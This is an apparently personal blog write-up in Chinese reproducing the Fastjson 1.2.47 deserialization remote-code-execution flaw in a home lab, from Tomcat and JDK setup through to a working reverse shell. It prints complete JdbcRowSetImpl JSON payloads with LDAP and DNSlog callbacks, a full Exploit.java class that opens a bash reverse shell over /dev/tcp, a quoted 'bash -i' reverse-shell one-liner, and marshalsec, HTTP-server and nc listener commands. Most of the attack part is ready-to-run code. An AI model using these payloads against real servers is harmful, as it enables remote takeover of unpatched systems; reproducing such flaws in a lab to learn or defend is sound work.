初次接觸Fastjson反序列化漏洞,最新出的1.2.68及繞過文章不太看得懂,有知識斷層。JNDI服務、Ldap協議、rmi協議、Maven項目等等不懂開發,這些都不了解。
找了幾篇看得懂的問題先驗證驗證1.2.47吧。
在最后反彈shell的時候踩了太多坑,如果有讀者看我文章復現,建議先通讀下文章。
一、環境准備
靶機環境:
系統:win 7 64
Tomcat:7.0.103
fastjson:1.2.47
JDK:1.8.0_181(看了好幾篇文章說復現fastjson和JDK版本有關,防坑)。
后來這里還是坑了,兩種不同的協議實現反彈shell有如下版本需求,而且最后接收shell的vps的JDK版本要和靶機的版本相近。
RMI < 8u121、LDAP < 8u182(本文復現使用LDAP)
二、部署
JDK、Tomcat環境部署不多說了,直接將Fastjson放到Tomcat下的webapps下即可。在別的文章看到的,直接下載https://blog.csdn.net/qq_40989258/article/details/103049474
Fastjson1.2.47:鏈接: https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA&shfl=shareset 提取碼: sven
三、POC
1、用burp抓包,改POST請求,添加參數{"name":"xx","age":"999"},查看返回,服務正常。
2、利用NC監聽來判斷漏洞是否存在:
kail:nc -lvpp 1234監聽端口
POC如下:
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://自己的ip:1234/Exploit","autoCommit":true}}}
收到來自靶機的響應,證明漏洞存在。
3、利用DNSlog來判斷漏洞是否存在
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://kd00nn.dnslog.cn","autoCommit":true}}}
4、外網系統測試
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://if6ooy.dnslog.cn","autoCommit":true}}}
四、getshell
搞了兩天發現各種環境不合適,JKD版本、系統版本等等,最終版環境如下:
靶機環境:CenOS 7 x64 、jdk1.8.0_181、apache-tomcat-7.0.105、fastjson1.2.47(關閉Linux防火牆)
vps環境:kail 、jdk1.8.0_181、python3
攻擊機:無所謂,burp抓包就行
靶機ip:192.168.0.118
vps:192.168.0.110
1、靶機環境部署
步驟:安裝JDK——安裝tomcat——fastjson放入tomcat/webapp文件夾下——啟動tomcat——web訪問測試,如下
工具准備:apache-tomcat-7.0.105.tar.gz、fastjson1.2.47.tar.gz、jdk-8u181-linux-x64.tar.gz
先用linxu管理工具將所需工具拖至opt目錄下:tomcat7、JDK、fastjson
——————安裝JDK——————
tar -zxvf jdk-8u181-linux-x64.tar.gz //解壓
vi /etc/profile //編輯環境變量
在文件最下方直接加入環境變量保持退出
export JAVA_HOME=/opt/jdk1.8.0_181
export JRE_HOME=/opt/jdk1.8.0_181/jre
export CLASSPATH=.:${JAVA_HOME}/jre/lib/rt.jar:${JAVA_HOME}/lib/dt.jar:${JAVA_HOME}/lib/tools.jar
export PATH=$PATH:${JAVA_HOME}/bin
source /etc/profile //配置生效
坑:如果原本就有JDK版本,安裝新版本后修改環境變量即可,方法另行百度
——————安裝tomcat及web環境——————
tar -zxvf apache-tomcat-7.0.105.tar.gz //解壓tomcat
mv /apache-tomcat-7.0.105 /tomcat //重搞一個文件
chmod -R777 tomcat //給權限
tar -zxvf fastjson1.2.47.tar.gz //解壓fastjson
mv ./fastjson ./tomcat/webapps //移動到web服務下
cd /tomcat/bin //切如tomcat的bin目錄下
./catalina.sh start //啟動tomcat服務
如下圖顯示started表示已經啟動成功。
訪問ip+8080/fastjson
坑:如果這里訪問不了的話linux關閉防火牆后記得重啟,我是這樣解決的
2、反彈shell
這里就不重復上面驗證是否存在的問題了,如果是第一次搭建,建議先驗證下是否存在。
步驟:python搭建http服務——marshalsec開啟監聽轉發——nc開啟監聽接收shell——攻擊——反彈成功
工具准備:Exploit.java、marshalsec-0.0.3-SNAPSHOT-all.jar
————exp准備—————
先上EXP,里面的ip改為接收shell的ip,文件命名為Exploit.java
說明:我這里用的是LDAP協議有的文章踩過坑:"bash -i >& /dev/tcp/xx.xx.xx.xx/10001 0>&1" 反彈不回來shell,rmi的另行百度,乖乖復制下面代碼改ip就好。
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }
javac Exploit.java 形成class文件
——————python啟http服務————
python -m SimpleHTTPServer 8083
坑:這里千萬千萬要在放着exp的目錄下直接啟動,啟動后訪問下效果如下
——————marshalsec啟動——————
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.0.110:8083/#Exploit 9999 Listening on 0.0.0.0:9999
坑:端口有些多,有點混亂,跟着復現的直接該ip吧,所有代碼里的ip只涉及到接收shell的IP
——————nc開啟監聽——————
nc -lvp 1888
——————攻擊————————
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x"{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.0.110:9999/Exploit","autoCommit":true}}}
——————成功接收shell——————
這的里坑:只有三處同時間接收到請求並成功響應,大概率就可以返回shell了,還有nc在看到有返回信息的時候,不會顯示shell界面,空白處直接運行命令即可。
總結:看了很多文章,廢了好幾天,踩了很多坑,照貓畫虎的成功復現,但涉及深層次的協議和原理還是不太懂,過陣子閑了試試最新版本1.2.68的復現,跟着了解了解原理。
參考文章:
https://blog.csdn.net/qq_40989258/article/details/103049474
https://www.cnblogs.com/nul1/p/12747709.html